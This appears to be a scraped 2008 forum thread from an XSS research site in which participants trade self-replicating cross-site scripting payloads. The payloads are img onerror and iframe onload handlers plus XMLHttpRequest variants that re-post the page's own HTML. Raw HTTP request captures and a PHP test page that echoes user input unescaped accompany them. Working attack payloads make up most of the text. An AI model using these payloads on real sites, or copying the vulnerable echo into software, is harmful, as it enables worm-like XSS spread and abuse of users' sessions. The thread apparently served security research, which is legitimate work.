<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
</head>
<body>
<div>
<form><input name="content"><img src="" onerror="with(i=parentNode)action=(method='post')+'.php',i[0].value='<form>'+innerHTML,submit(alert('XSS'))">XXX
</div>
</body>
</html>
<form><input name="content"><iframe onload="XSS:with(_=parentNode)submit(alert(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',146)))"
<form>XSS<input name="content"><iframe onload="with(_=parentNode)submit(alert(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',145)))"
Host sla.ckers.org User-Agent Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Accept text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language en-us,en;q=0.5 Accept-Encoding gzip,deflate Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive 300 Connection keep-alive Referer http://sla.ckers.org/forum/read.php?2,18790,19352 Cookie phorum_session_v5=123%3A7753godessbunnieyeahdadadada1234 Pragma no-cache Cache-Control no-cache
POST /post.php HTTP/1.1
Host: xxxxxx.com.au
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://xxxxxx.com.au/xss.tester.php
Content-Length: 148
Content-Type: application/xml
Proxy-Authorization: xxxxx
Pragma: no-cache
Cache-Control: no-cache
content=<p><iframe onload="alert('xss');with(new XMLHttpRequest)open('POST','post.php'),send('content=<p>'+parentNode.innerHTML+'<p>')"></iframe><p>
<p><iframe onload="alert('xss');with(new XMLHttpRequest)open('POST','post.php'),send(''.concat('content=<p>',parentNode.innerHTML,'<p>'))"></iframe><p>
<?php
$content = "";
if (!empty($_POST['content'])) {
$date=date("F j, Y, g:i a");
$content = urldecode($_POST['content']);
$post = $date.' - '.htmlspecialchars($content).'<br/>';
}
$filename = 'log.html';
// Let's make sure the file exists and is writable first.
if (is_writable($filename) && !empty($post)) {
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $post) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
fclose($handle);
} else {
echo "The file $filename is not writable";
}
?>
<html>
<head></head>
<body>
<form method="post" action="post.php">
<textarea name="content" style="width: 100%; height: 100px;"><?php echo(htmlspecialchars($content));?></textarea>
<input type="submit" value="submit">
</form>
<?php
echo ("<hr/>".$content."<hr/>".htmlspecialchars($content).'<hr/>');
?>
</body>
</html>
Is it over? Please say it's over!Quote
Thursday the 10th of January at 7PM GMT